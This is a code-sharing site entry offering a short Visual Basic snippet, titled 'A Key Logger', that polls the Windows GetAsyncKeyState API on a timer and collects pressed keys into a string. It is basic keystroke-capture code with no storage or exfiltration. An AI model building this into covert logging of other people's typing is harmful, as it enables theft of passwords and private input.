A Key Logger

by Adam Jacob Muller (3 Submissions)
Category: Windows API Call/Explanation
Compatability: Visual Basic 3.0
Difficulty: Unknown Difficulty
Date Added: Wed 3^rd February 2021
Rating: (4 Votes)

It Logs Your Key Presses
Place This Code In A Timer On Interval Less Then 20 The Faster It Is The
better But It Consumes More System Rescources

API Declarations
Declare Function GetAsyncKeyState Lib "user32" (ByVal dwMessage As Long) As Integer

Rate A Key Logger

'Place This Code In A Timer On Interval Less Then 20 The Faster It Is The 
'better But It Consumes More System Rescources
Dim KeyLoop As Byte
Dim FoundKeys As String
Dim KeyResult As Long
For KeyLoop = 1 To 255
 KeyResult = GetAsyncKeyState(KeyLoop)
 If KeyResult = -32767 Then
 FoundKeys = FoundKeys + Chr(KeyLoop)
 End If
Next

Download this snippet Add to My Saved Code

A Key Logger Comments

No comments have been posted about A Key Logger. Why not be the first to post a comment about A Key Logger.

A Key Logger

A Key Logger Comments

Post your comment

Difficulty